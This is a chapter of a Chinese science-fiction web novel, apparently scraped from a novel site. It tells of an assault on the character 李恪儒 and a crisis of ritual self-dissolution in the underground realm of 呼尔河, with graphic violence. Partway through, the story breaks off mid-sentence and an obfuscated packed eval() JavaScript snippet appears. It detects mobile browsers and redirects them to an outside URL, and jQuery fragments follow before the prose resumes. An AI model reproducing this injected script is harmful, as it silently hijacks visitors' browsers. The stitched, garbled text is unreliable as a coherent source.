26. 呼尔河的信仰

作品:《末世火种之燎原大业

    狮子捕猎,不过如此。


    李恪儒在第一次被围攻之时,已经落了下风。尖利的牙齿,四处嘶咬,疼痛迅疾而猛烈,深知自己无法逃脱的绝望,微不足道的挣扎是给旁观者的助兴节目。


    第二次,她开始逃跑。狮子在后面穷追不舍,有时候突然出现她面前,有时候会以救赎者的身份骗她松懈下来,最后露出獠牙。


    第三次,她找到一个自以为绝对安全的地方躲了起来。这样小小的庆幸一闪而过之后,巨大的紧张和恐惧将她越勒越紧,狮子的胡须也伸进来了,抓住了她的脖子。


    她已经不记得这是第几次了。她一直在逃,狮子一直在追。不管多少次,就算在之前的逃跑过程中练出了速度和胆量,最后的结局仍然没有改变。


    “叫啊!你为什么不喊救命!”一双年轻的手捏住了她的后颈,铁锹切断了她的左腿。


    “你当初嫌我恶心?现在看看你是什么样子?好好看看!”


    头发被另一只苍老的手抓着,老太太的脸上残留着疾病留下来的黑色伤疤,如山如水,如一个年轻人的脸在暗处窥探天外的光芒。


    镜子里的巫女早已被吓得失去了魂魄,看起来只剩下一副空壳,悄无声息的流着血液,往泥泞的粪堆上添一点喜庆的颜色。


    李恪儒忽然大叫,“救命!救命!”她叫得上气不接下气,声嘶力竭,继续往前跑,抓起一根棍子,转过身却停下来了,看着那一双双不曾受过后天思想侵染的眼睛,心里的恨根本没有办法替自己反击。


    她不该反击。她从来没有反击。曾经的那个巫女,是家族里备受宠爱的掌上明珠,第一次遇到此等状况,根本没有机会学习反击。


    犹豫片刻,对面的棍子迎头砸下来。


    痛感从肩头劈开上万道裂缝,尖锐的锥子趁机将裂缝不断地扩大,毒舌的牙齿带着丝丝电流,一边嘶咬,一边放电,将疼痛缓慢地加深。


    李恪儒忽然发现自己喜欢这痛感,身体的一半疼痛至极,另一半畅快至极。因为疼痛和恐惧被逼迫到无处可逃的角落里的那颗心脏,在无限的刺激中反而鲜活了起来。她喜欢。


    眼前的介子闪耀主正在将树叶里的脉络缝合,脑袋极其缓慢地转过来,看着李恪儒的变化。他感受到了什么,但因为身体中的命令,只能乖乖地做着他的份内之事。


    花见铜在高处行走,突然举手叫停。他的神情越发严肃,走到楼层边,往下一瞧,立即命令道,“非我,陈规,去救李恪儒。”


    话音未落,王非我当即拉着悬在半空的藤蔓,五六秒的功夫来到发生争执的腹生子之间。陈规尚未看得真切,又听少师说,“不要下死手。”


    陈规循着非我下行的路小心翼翼地往下溜着,心想少师怎么不自己去救李恪儒?紧接着便听他对顾清白说,“呼尔河腹生子那边有情况,我得去看看。”


    有什么事情比抓李恪儒还重要吗?等陈规落地,才发现李恪儒的处境确实没有什么为难。不过是一群老弱妇孺,抡着寻常农具,甚至还有小儿玩具打人。一个非我便把这些乌合之众收拾得服服帖帖。


    不过,不太对劲。呼尔河还有一群老弱妇孺?他许久不曾见过那样沧桑的腹生子了。他们身形各异,长相各有千秋,皮肤并不是同一色度的黝黑。他们更像是动物。


    或许是受到了少师的调动,四五名介子闪耀主从各处赶来,助了王非我一臂之力,将施害者捆绑起来,聚在一处。


    李恪儒从一手捂着肩膀,从争斗之地爬出来,自己躲到后方去。


    参与打斗的腹生子更多了!


    他们没有脸!准确的说,是没有属于自己的脸。五官显得过于潦草,就像是小孩的画里,随便画一个圈表示眼睛,歪歪扭扭的一道线表示嘴唇。


    再看刚刚被捆绑起来的施暴者,不知道什么时候已经失去了踪影,只留下一团黑色的灰烬,被风一吹,就散了。


    “没有身份!”王非我连续探了两个腹生子的后颈位置,惊奇地告诉陈规。


    本来帮忙保护李恪儒的介子闪耀主,也发现了这一点,开始将这些没有身份的生物进行回收。那只手像手术刀一样直直插进腹生子的腹腔,旋转,生物元素迅速分解开来,被介子闪耀主的手吸收。


    没有流血,没有喊叫。这不合常理。


    五位介子闪耀主,二十来个腹生子,十秒钟解决掉一个的速度,在非我和陈规思考接下来该怎么做的一分钟里,这些没有具体的脸的腹生子看起来多了一倍。


    王非我终于做好了决定。她拿出枪,对准其中一个介子闪耀主的脑袋,“住手!谁都不许动!在少师过来之前,谁都不许再动一下。”


    介子闪耀主听她把话说完,抬起的手仍然顺着原本的轨道刺进腹生子的胸腔中。


    就算是腹生子没有身份,也轮不到一个介子闪耀主决定他们的生死。况且这些腹生子根本毫无反抗之力。


    王非我登时与介子闪耀主动起手脚来。她的粒子能量枪同样对介子闪耀主起效,但是一个生物体的攻击力和智商无关,所以中枪的介子闪耀主仅仅只是冷静了一秒钟,行动便恢复如常。王非我与五名介子闪耀主的缠斗越来越吃力。


    李恪儒怎么样了?陈规本着关心的好意,回头一看,心满满凉了半截。他看见,李恪儒歪在高位之上,身体呈现一种肆意放松的姿态,脸上的表情是从容的、淡漠的,觉得她脚底的这些腹生子,或者介子闪耀主,为了她而起的纷争是可笑的。


    “看看,永远都是这样。”李恪儒似乎是在回答陈规内心的问题。


    可他什么也没说,脸上也没有任何能够让人猜出心事的蛛丝马迹。介子闪耀主的能力用在这方面,实在浪费,不知道上层是怎么想的。


    李可儒看着陈规,又说,“是我错了,世界的运作本来就是周而复始,全都毁灭,才能重新开始。”


    桥狸裳一死,呼尔河的腹生子精神世界受到了巨大冲击。李应河当时自愿赴死,是在资源尚且足够的时候,诸多腹生子尚未感受到生存的危机感。在其死后的一百年间,他的伟大才慢慢被领会到,由此慢慢地积累。


    “未来”、“牺牲”、“腹生子的存亡”,一种伟大而沉重的使命开始落在每个有着腹生子身份的生物头上。但他们不知道应该怎么做。


    漂亮的,诱惑的,一心一意为着呼尔河谋生计的桥狸裳,继承了李应河的精神,再一次完美的实现了“高贵的牺牲。”


    呼尔河岌岌可危。内有资源紧缺的压力,外有岩浆喷发、地下宫城顷刻之间覆灭之患。介子闪耀主无力支撑呼尔河往日的繁华。


    中心者看到桥狸裳之死,深种于心的“死亡精神”和反叛的愧疚,瞬间判了自己死刑,这样尚且能够冠上“高贵的牺牲”之名。他扯来一片冬青树的叶子,划破耳后的身份核,接着把那片叶子吞下去。表面上是叶子,实际上是废物利用还原装置。他失去了身份核,这个装置便会把他当作生物废料,快速的分解,转化成新鲜的氧气、二氧化碳、氮气、硫元素、热能量……


    有了第一个,就会有第二个,第三个……


    剩下来的腹生子智商已经超越了历


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926028|191561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    史记录,但是从众这件事,依然根深蒂固。


    口最阻止不及。日积月累的精神影响不是三言两语就能够消除的。他那副比桥狸裳还要漂亮的身体没能在短时间内赢得这群腹生子的心。


    “我们还有机会,不是吗?桥狸裳死了,我们还有粟先生,我们得活下去,大家,李应河峰士长当初就是为了玻璃翅蝶不伤害大家的生命才与之同归于尽,你们现在这样随随便便的放弃生命,对得起他吗?”紧要关头,他还是只能以口之力应对。


    还有一部分腹生子有着自己的思考。


    “毁灭玻璃翅蝶,是为了腹生子;复苏玻璃翅蝶,是为了腹生子的未来。”


    “我们不能因为自己想活,毁掉腹生子上万年以来共同的梦想。”


    他们不愿意,但是不能不这么做。桥狸裳的梦想,他们一直都知道。


    腹生子抬手毁自己,口最挥剑砍他们的手。


    “我哥哥的王国不能没有你们!”希米冲出来说,希望这些愚蠢的家伙能够听他这一句好言相劝。


    伸出去的剑,无声息的碎裂开来。


    众位腹生子立即察觉到花见铜和一个未经允许的介子闪耀主进来了,暂时忘记了他们正在进行的使命。


    一个外来客,在这种时候到呼尔河来,是要做什么?还能拯救呼尔河的必亡状况吗?


    听说他是第七交响曲的少师,那张脸看起来有点过于年轻了,可是他的眼神却有着充满智慧、历经沧桑的厚重感。


    花见铜是第一次见口最,甚感惊奇,怀着抱歉和心底油然而生的喜欢,连连摆手,阻止他再有冲动的行为。


    “是你弄碎了我的剑?你怎么做到的?”口最见过许多介子闪耀主的厉害之处,还是第一次看见一位腹生子于无形之中斩断他的剑。


    他如此确信花见铜就是腹生子,是因为他的身上透着一丝丝男女水乳交融后的气息。这实在太过奇特,简直就是古董,简直就是死去的文化复兴了,这简直就是世界得以延续的奇迹!


    口最的目光绕过花见铜,落在顾清白身上。凭着他多年混迹于介子闪耀主之中的经验,竟然无法辨认这位的身份所属。


    “再看剜你眼睛。”顾清白躲着花见铜,一边做手势一边做口形,恶狠狠的表情让口最一瞬间开始自我怀疑。


    哦,这绝对是腹生子。还是一个没有摆脱低级趣味的腹生子。


    花见铜无心顾及口最,直截了当的承认,而后对诸位呼尔河腹生子说,“粟先生请我来,是为了解救呼尔河的危机,请问是不是变成呼尔河的肥料,就能解救这场危机?刚刚那几位朋友自发分解之后,我觉得这里变得更亮堂了一些,请教一下,这样真的有用吗?”


    “腹生子消耗资源,会加重呼尔河的负担。介子闪耀主支撑不起,总有一天,内忧外患,这里会毁于一旦。我们不能看到那样的情况发生。”


    “敢问少师带来的那位新型介子闪耀主,叫作‘李恪儒’的,真的能解决我们的困境吗?”


    “吃的,喝的,产生的废物,需要的热量,空气,精神娱乐,这些她是不是都能制造?难道只需要她一个就够了吗?”


    “这地下宫城一直由介子闪耀主负责维护,不断地扩张,没想到有一天会因为压力问题而面临覆灭的危险,李恪儒能解决这样的问题吗?”


    “能,还是不能?”


    顾清白躲在花见铜身后,口直心快道,“我看还是让他们追随桥狸裳去死好了!一点都不配合你,你客客气气想救他们,他们直接开口打算抢我们的宝贝。”